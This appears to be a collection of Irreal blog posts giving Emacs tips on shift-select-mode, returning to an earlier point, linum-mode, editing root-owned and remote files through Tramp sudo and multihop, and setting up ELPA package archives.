Irreal

I’m probably the last Emacs user to discover this but here’s a nifty trick that I learned today while trawling through some of Magnar Sveen’s .emacs.d files. If you hold down the shift key when moving the point, the region is extended. For example, if we have

the region is extended. For example,
      ^

with the point at the g in region and we type 【Shift+Meta+f】 3 times, we will have

gion is extended

selected. This is really handy for selecting a range of text, although to be fair, Sveen claims that true Emacs Knights don’t use this mode. He apparently prefers to use some of his finer grained extensions such as the expand-region package. I’ve also loaded that package and will write about it after I’ve used it for a while.

In the meantime, shift-select-mode seems like a handy feature to me. It’s enabled by default in Emacs 24 (at least) so you can try it out on any buffer you have open. You can read the documentation by asking for help on shift-select-mode.

Xah Lee asks what’s the best way to jump to another position in a buffer and then return to the original point? Emacs users know a lot of ways of doing this. We can, for example, use 【Ctrl+s】 to move the new point and then 【Ctrl+x Ctrl+x】 to return or we can use any of the push and pop mark tricks that I and many others have written about.

Lee says he tried all those but that the thing that works best for him is to simply split the window, move to the new position in the window that still has focus and then close that window when he’s done. That way he’s back to where he started quickly and easily. What I like about that method is that it’s easy to remember. In theory I like the other methods but the 【Ctrl+x Ctrl+x】 sets a new region that has to be turned off and unless I use the push/pop mark methods all the time I tend to forget how to do it.

For small jumps, ace-jump-mode and then popping the mark with【Ctrl+u Ctrl+Space】 to return works well. A similar method using【Ctrl+s】 or【Ctrl+r】 followed by a【Ctrl+u Ctrl+Space】 also works for me. Those work because they push the mark before the jump. Methods that don’t do that are harder for me to use effectively. In those cases, Lee’s method feels like a win. What do the rest of you do?

This is another note to myself. Recently I was examining the internal structure of the decimal expansion of a number. In order to do this, I put the decimal representation of the number in a buffer and did a query-replace-regexp substituting <digit><space> for each <digit>. Then I set the fill column to 2 and did a refill. That gave me the number with each digit on a single line. I wanted to know the position of each digit. It’s easy to find that out by moving the point to the relevant line and, given that line-number-mode is on, just reading the line number from the mode line. But I wanted to see the positions for all the lines at once.

I knew there was a command to put each line’s number in the left fringe and had even used it but I couldn’t remember what it was. Furthermore, I couldn’t find it in the documentation. I tried things like apropos line and apropos number and other similar constructions but couldn’t find it. Eventually I gave up and started thinking about where I had first seen the command. It seemed to me that it was in an old Emacs-Fu post so I went to DJCB’s blog and did a search on “line number” and the correct post popped right up.

The right answer is linum-mode. The command name is suggestive of its function but it’s still hard to go from the functionality to the command’s name so I am documenting it here. It’s not a command that I use very often so it’s hard to remember its name but when you need it, nothing else will do.

I was reading some of the old posts from the excellent emacs-fu when I came across this post describing how to access root-owned files as a regular user. It was a nice post and cleared up an arcane piece of syntax that I never understood. In order to edit a root-owned file on the local host you enter something like:【Ctrl+x Ctrl+f】/sudo::<path-to-root-owned-file>. The double colon seemed different from other similar constructs but all that’s happening is that /sudo:: is really just a shortcut for sudo‘s default, which is /sudo:root@localhost:.

That’s interesting and cleared up something that never made sense to me but the interesting lesson from the post occurred in the comments. One of the commenters complained that this still didn’t help with the common case of wanting to edit root files on a remote machine. If you try to do this, Emacs (Tramp, really) complains that sudo can only be used on the local host. However, it turns out that you can use the Tramp multihop facility to enable this functionality. This is explained in detail in the info page at Tramp > Configuration > Multi-hops, but the TL;DR is to add the three commands

(require 'tramp)
(add-to-list 'tramp-default-proxies-alist
             '(nil "\\`root\\'" "/ssh:%h:"))
(add-to-list 'tramp-default-proxies-alist
             '((regexp-quote (system-name)) nil nil))

to your .emacs or init.el file. Then you can edit remote root files with 【Ctrl+x ctrl+f】 /sudo:root@remote-host:<path-to-root-owned-file>.

In my ELPA With Emacs 24 post, I documented some of the problems I was having getting ELPA to work with Emacs 24 and showed some Elisp to work around the problem. Fortunately, my readers are a lot smarter than I am and suggested better ways of getting things to work.

The answer turns out to be pretty simple. I replaced all my special code for setting paths and requiring package with:

(package-initialize)
(add-to-list 'package-archives
             '("marmalade" . "http://marmalade-repo.org/packages/"))

and left everything else the same. So far that seems to be working perfectly. The documentation isn’t really clear on this and, in fact, hints that putting

(package-initialize)

in your .emacs or init.el file can cause problems with other packages. I haven’t seen that and neither have any of my commenters so unless I run into problems later, my recommendation is to simply add the package-initialize near the top of your .emacs or init.el.

None of this means, of course, that you won’t have to configure some of the packages you load with ELPA but at least Emacs won’t throw an error during startup because of missing packages. Thanks to Seth, Philipp, and Foo for their helpful comments.